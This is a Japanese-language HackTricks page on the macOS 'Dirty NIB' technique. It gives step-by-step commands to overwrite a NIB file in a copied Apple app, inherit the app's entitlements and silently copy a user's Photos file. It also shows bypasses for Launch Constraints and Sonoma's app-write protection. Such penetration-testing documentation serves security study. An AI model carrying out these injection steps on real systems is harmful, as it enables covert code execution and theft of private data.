10 KiB
macOS Dirty NIB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricks swagを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローする🐦@carlospolopm。
- ハッキングのトリックを共有するために、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
この技術は、以下の投稿から取得されました https://blog.xpnsec.com/dirtynib/
基本情報
NIBファイルは、Appleの開発エコシステムでユーザーインターフェース(UI)要素とそのアプリケーション内での相互作用を定義するために使用されます。Interface Builderツールで作成され、ウィンドウ、ボタン、テキストフィールドなどのシリアライズされたオブジェクトを含み、設計されたUIを表示するためにランタイムでロードされます。Appleはまだ使用していますが、より視覚的なアプリケーションのUIフローを表現するためにStoryboardを推奨しています。
{% hint style="danger" %} さらに、NIBファイルは任意のコマンドを実行するためにも使用でき、NIBファイルがアプリ内で変更されても、Gatekeeperはアプリの実行を許可しますので、アプリケーション内で任意のコマンドを実行するために使用できます。 {% endhint %}
Dirty NIB Injection
まず、新しいNIBファイルを作成する必要があります。構築のためにXCodeを使用します。まず、インターフェースにオブジェクトを追加し、クラスをNSAppleScriptに設定します。
オブジェクトには、ユーザー定義のランタイム属性を使用して、初期のsource
プロパティを設定する必要があります。
これにより、リクエストに応じてAppleScriptを実行するコード実行ガジェットが設定されます。AppleScriptの実行を実際にトリガーするために、現時点ではボタンを追加します(もちろん、これについては創造的になることができます ;))。ボタンは、作成したApple Scriptオブジェクトにバインドされ、executeAndReturnError:
セレクタを呼び出します。
テストでは、次のApple Scriptを使用します:
set theDialogText to "PWND"
display dialog theDialogText
そして、XCodeデバッガでこれを実行し、ボタンをクリックすると:
NIBから任意のAppleScriptコードを実行できる能力を持っているので、次にターゲットが必要です。最初のデモとして、私たちはPagesを選びます。これはもちろんAppleのアプリケーションであり、私たちによって変更されるべきではありません。
まず、アプリケーションのコピーを/tmp/
に取ります:
cp -a -X /Applications/Pages.app /tmp/
次に、Gatekeeperの問題を回避し、キャッシュされるようにするためにアプリケーションを起動します。
open -W -g -j /Applications/Pages.app
最初にアプリを起動(および終了)した後、既存のNIBファイルをDirtyNIBファイルで上書きする必要があります。デモの目的で、実行を制御するためにAbout Panel NIBを上書きします。
cp /tmp/Dirty.nib /tmp/Pages.app/Contents/Resources/Base.lproj/TMAAboutPanel.nib
一度nibを上書きしたら、About
メニューアイテムを選択することで実行をトリガーできます。
Pagesをもう少し詳しく見てみると、ユーザーの写真にアクセスするためのプライベートな権限があることがわかります。
したがって、ユーザーにプロンプトを表示せずに、AppleScriptを修正して写真を盗むPOCをテストすることができます。
{% code overflow="wrap" %}
use framework "Cocoa"
use framework "Foundation"
set grabbed to current application's NSData's dataWithContentsOfFile:"/Users/xpn/Pictures/Photos Library.photoslibrary/originals/6/68CD9A98-E591-4D39-B038-E1B3F982C902.gif"
grabbed's writeToFile:"/Users/xpn/Library/Containers/com.apple.iWork.Pages/Data/wtf.gif" atomically:1
{% endcode %}
{% hint style="danger" %} 任意のコードを実行する悪意のある.xibファイルの例 {% endhint %}
ランチ制約
基本的には、予想される場所以外でアプリケーションを実行することを防ぐためのものです。したがって、ランチ制約で保護されたアプリケーションを/tmp
にコピーすると、実行できなくなります。
詳細はこの投稿で確認してください。
ただし、ファイル**/System/Volumes/Preboot/*/boot/*/usr/standalone/firmware/FUD/StaticTrustCache.img4
を解析すると、ランチ制約で保護されていないアプリケーションがまだ見つかるため、それらに任意の場所にNIB**ファイルを注入することができます(これらのアプリケーションを見つける方法については、前のリンクを参照してください)。
追加の保護
macOS Somonaから、アプリ内への書き込みを防ぐ保護があります。ただし、バイナリのコピーを実行する前に、Contentsフォルダの名前を変更すると、この保護を回避することができます。
CarPlay Simulator.app
を/tmp/
にコピーします。/tmp/Carplay Simulator.app/Contents
を/tmp/CarPlay Simulator.app/NotCon
に名前を変更します。- バイナリ
/tmp/CarPlay Simulator.app/NotCon/MacOS/CarPlay Simulator
を実行してGatekeeper内にキャッシュします。 NotCon/Resources/Base.lproj/MainMenu.nib
をDirty.nib
ファイルで上書きします。/tmp/CarPlay Simulator.app/Contents
に名前を変更します。CarPlay Simulator.app
を再度起動します。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけて、独占的なNFTのコレクションを発見してください。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。